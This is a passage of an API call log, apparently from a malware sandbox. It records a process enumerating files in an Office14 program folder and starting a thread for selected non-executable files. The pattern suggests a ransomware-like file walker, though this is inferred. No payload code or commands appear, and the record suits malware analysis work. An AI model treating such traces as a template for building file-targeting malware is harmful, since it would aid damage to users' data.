| out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x189d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2WORD.XSL", cAlternateFileName="")) returned 1 [0165.592] wcscmp (_String1="VBS2WORD.XSL", _String2=".") returned 1 [0165.592] wcscmp (_String1="VBS2WORD.XSL", _String2="..") returned 1 [0165.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c8f0 [0165.592] wcscpy (in: _Dest=0x93c8f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.592] wcscat (in: _Dest=0x93c8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.592] wcscat (in: _Dest=0x93c8f0, _Source="VBS2WORD.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL" [0165.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0165.595] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6bf6fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x24380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VERBWIND.DLL", cAlternateFileName="")) returned 1 [0165.595] wcscmp (_String1="VERBWIND.DLL", _String2=".") returned 1 [0165.595] wcscmp (_String1="VERBWIND.DLL", _String2="..") returned 1 [0165.595] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x22558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWMODL.DLL", cAlternateFileName="")) returned 1 [0165.595] wcscmp (_String1="VIEWMODL.DLL", _String2=".") returned 1 [0165.595] wcscmp (_String1="VIEWMODL.DLL", _String2="..") returned 1 [0165.595] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50bfc800, ftCreationTime.dwHighDateTime=0x1cbb888, ftLastAccessTime.dwLowDateTime=0xd102bf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50bfc800, ftLastWriteTime.dwHighDateTime=0x1cbb888, nFileSizeHigh=0x0, nFileSizeLow=0xefa180, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRGR.DLL", cAlternateFileName="")) returned 1 [0165.595] wcscmp (_String1="VISBRGR.DLL", _String2=".") returned 1 [0165.595] wcscmp (_String1="VISBRGR.DLL", _String2="..") returned 1 [0165.595] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd10520c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x4b370, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.DLL", cAlternateFileName="")) returned 1 [0165.595] wcscmp (_String1="VISCOLOR.DLL", _String2=".") returned 1 [0165.595] wcscmp (_String1="VISCOLOR.DLL", _String2="..") returned 1 [0165.595] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd109e380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x38560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISDLGU.DLL", cAlternateFileName="")) returned 1 [0165.595] wcscmp (_String1="VISDLGU.DLL", _String2=".") returned 1 [0165.595] wcscmp (_String1="VISDLGU.DLL", _String2="..") returned 1 [0165.595] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c480800, ftCreationTime.dwHighDateTime=0x1cba5d6, ftLastAccessTime.dwLowDateTime=0xd11107a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5c480800, ftLastWriteTime.dwHighDateTime=0x1cba5d6, nFileSizeHigh=0x0, nFileSizeLow=0xd5760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISGRF.DLL", cAlternateFileName="")) returned 1 [0165.595] wcscmp (_String1="VISGRF.DLL", _String2=".") returned 1 [0165.596] wcscmp (_String1="VISGRF.DLL", _String2="..") returned 1 [0165.596] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2284b00, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd115ca60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf2284b00, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x11bd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISICON.EXE", cAlternateFileName="")) returned 1 [0165.596] wcscmp (_String1="VISICON.EXE", _String2=".") returned 1 [0165.596] wcscmp (_String1="VISICON.EXE", _String2="..") returned 1 [0165.596] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Content", cAlternateFileName="VISIOC~1")) returned 1 [0165.596] wcscmp (_String1="Visio Content", _String2=".") returned 1 [0165.596] wcscmp (_String1="Visio Content", _String2="..") returned 1 [0165.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfe80 [0165.596] wcscpy (in: _Dest=0x8cfe80, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.596] wcscat (in: _Dest=0x8cfe80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.596] wcscat (in: _Dest=0x8cfe80, _Source="Visio Content" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" [0165.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8cfe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0165.597] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0165.597] wcscmp (_String1="VISIO.EXE", _String2=".") returned 1 [0165.597] wcscmp (_String1="VISIO.EXE", _String2="..") returned 1 [0165.597] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ff4500, ftCreationTime.dwHighDateTime=0x1cac1e3, ftLastAccessTime.dwLowDateTime=0x850b1da0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x67ff4500, ftLastWriteTime.dwHighDateTime=0x1cac1e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.exe.manifest", cAlternateFileName="VISIOE~1.MAN")) returned 1 [0165.597] wcscmp (_String1="visio.exe.manifest", _String2=".") returned 1 [0165.597] wcscmp (_String1="visio.exe.manifest", _String2="..") returned 1 [0165.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c511e8 [0165.597] wcscpy (in: _Dest=0x12c511e8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.597] wcscat (in: _Dest=0x12c511e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.597] wcscat (in: _Dest=0x12c511e8, _Source="visio.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest" [0165.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c511e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0165.599] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2596300, ftCreationTime.dwHighDateTime=0x1c9ab47, ftLastAccessTime.dwLowDateTime=0x850d7f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb2596300, ftLastWriteTime.dwHighDateTime=0x1c9ab47, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioCustom.propdesc", cAlternateFileName="VISIOC~1.PRO")) returned 1 [0165.599] wcscmp (_String1="VisioCustom.propdesc", _String2=".") returned 1 [0165.599] wcscmp (_String1="VisioCustom.propdesc", _String2="..") returned 1 [0165.599] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c51050 [0165.599] wcscpy (in: _Dest=0x12c51050, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.599] wcscat (in: _Dest=0x12c51050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.599] wcscat (in: _Dest=0x12c51050, _Source="VisioCustom.propdesc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc") returned="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc" [0165.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0165.600] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd1c38ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x12d0b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISLIB.DLL", cAlternateFileName="")) returned 1 [0165.600] wcscmp (_String1="VISLIB.DLL", _String2=".") returned 1 [0165.600] wcscmp (_String1="VISLIB.DLL", _String2="..") returned 1 [0165.600] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x852a0f80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0x6bb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISOCX.DLL", cAlternateFileName="")) returned 1 [0165.600] wcscmp (_String1="VISOCX.DLL", _String2=".") returned 1 [0165.600] wcscmp (_String1="VISOCX.DLL", _String2="..") returned 1 [0165.600] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0xee570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISSHE.DLL", cAlternateFileName="")) returned 1 [0165.600] wcscmp (_String1="VISSHE.DLL", _String2=".") returned 1 [0165.600] wcscmp (_String1="VISSHE.DLL", _String2="..") returned 1 [0165.600] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd1e74360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISSUPP.DLL", cAlternateFileName="")) returned 1 [0165.600] wcscmp (_String1="VISSUPP.DLL", _String2=".") returned 1 [0165.600] wcscmp (_String1="VISSUPP.DLL", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2017280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xbcb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUTILS.DLL", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="VISUTILS.DLL", _String2=".") returned 1 [0165.601] wcscmp (_String1="VISUTILS.DLL", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd235d0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISWEB.DLL", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="VISWEB.DLL", _String2=".") returned 1 [0165.601] wcscmp (_String1="VISWEB.DLL", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x852ed240, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1a580, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISXDATA.DLL", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="VISXDATA.DLL", _String2=".") returned 1 [0165.601] wcscmp (_String1="VISXDATA.DLL", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xb2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPREVIEW.EXE", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="VPREVIEW.EXE", _String2=".") returned 1 [0165.601] wcscmp (_String1="VPREVIEW.EXE", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x70802d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x8d5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="VVIEWDWG.DLL", _String2=".") returned 1 [0165.601] wcscmp (_String1="VVIEWDWG.DLL", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x5e528cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x556768, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="VVIEWER.DLL", _String2=".") returned 1 [0165.601] wcscmp (_String1="VVIEWER.DLL", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5eea5a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x13db160, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="WINPROJ.EXE", _String2=".") returned 1 [0165.601] wcscmp (_String1="WINPROJ.EXE", _String2="..") returned 1 [0165.601] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc800000, ftCreationTime.dwHighDateTime=0x1cab9aa, ftLastAccessTime.dwLowDateTime=0xbef68300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc800000, ftLastWriteTime.dwHighDateTime=0x1cab9aa, nFileSizeHigh=0x0, nFileSizeLow=0xd92, dwReserved0=0x0, dwReserved1=0x0, cFileName="winproj.exe.manifest", cAlternateFileName="WINPRO~1.MAN")) returned 1 [0165.601] wcscmp (_String1="winproj.exe.manifest", _String2=".") returned 1 [0165.601] wcscmp (_String1="winproj.exe.manifest", _String2="..") returned 1 [0165.601] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c508e0 [0165.601] wcscpy (in: _Dest=0x12c508e0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.601] wcscat (in: _Dest=0x12c508e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.601] wcscat (in: _Dest=0x12c508e0, _Source="winproj.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest" [0165.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c508e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0165.603] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee656c00, ftCreationTime.dwHighDateTime=0x1cacd37, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee656c00, ftLastWriteTime.dwHighDateTime=0x1cacd37, nFileSizeHigh=0x0, nFileSizeLow=0x15b758, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.EXE", cAlternateFileName="")) returned 1 [0165.603] wcscmp (_String1="WINWORD.EXE", _String2=".") returned 1 [0165.603] wcscmp (_String1="WINWORD.EXE", _String2="..") returned 1 [0165.603] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x67eb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnv.dll", cAlternateFileName="")) returned 1 [0165.603] wcscmp (_String1="Wordcnv.dll", _String2=".") returned 1 [0165.603] wcscmp (_String1="Wordcnv.dll", _String2="..") returned 1 [0165.603] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x7560, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnvpxy.cnv", cAlternateFileName="WORDCN~1.CNV")) returned 1 [0165.603] wcscmp (_String1="Wordcnvpxy.cnv", _String2=".") returned 1 [0165.603] wcscmp (_String1="Wordcnvpxy.cnv", _String2="..") returned 1 [0165.603] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfd80 [0165.603] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.603] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.603] wcscat (in: _Dest=0x8cfd80, _Source="Wordcnvpxy.cnv" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv") returned="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" [0165.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0165.604] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x62f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnvr.dll", cAlternateFileName="")) returned 1 [0165.604] wcscmp (_String1="Wordcnvr.dll", _String2=".") returned 1 [0165.604] wcscmp (_String1="Wordcnvr.dll", _String2="..") returned 1 [0165.604] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x5f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordconv.exe", cAlternateFileName="")) returned 1 [0165.604] wcscmp (_String1="Wordconv.exe", _String2=".") returned 1 [0165.604] wcscmp (_String1="Wordconv.exe", _String2="..") returned 1 [0165.604] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDICON.EXE", cAlternateFileName="")) returned 1 [0165.605] wcscmp (_String1="WORDICON.EXE", _String2=".") returned 1 [0165.605] wcscmp (_String1="WORDICON.EXE", _String2="..") returned 1 [0165.605] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, 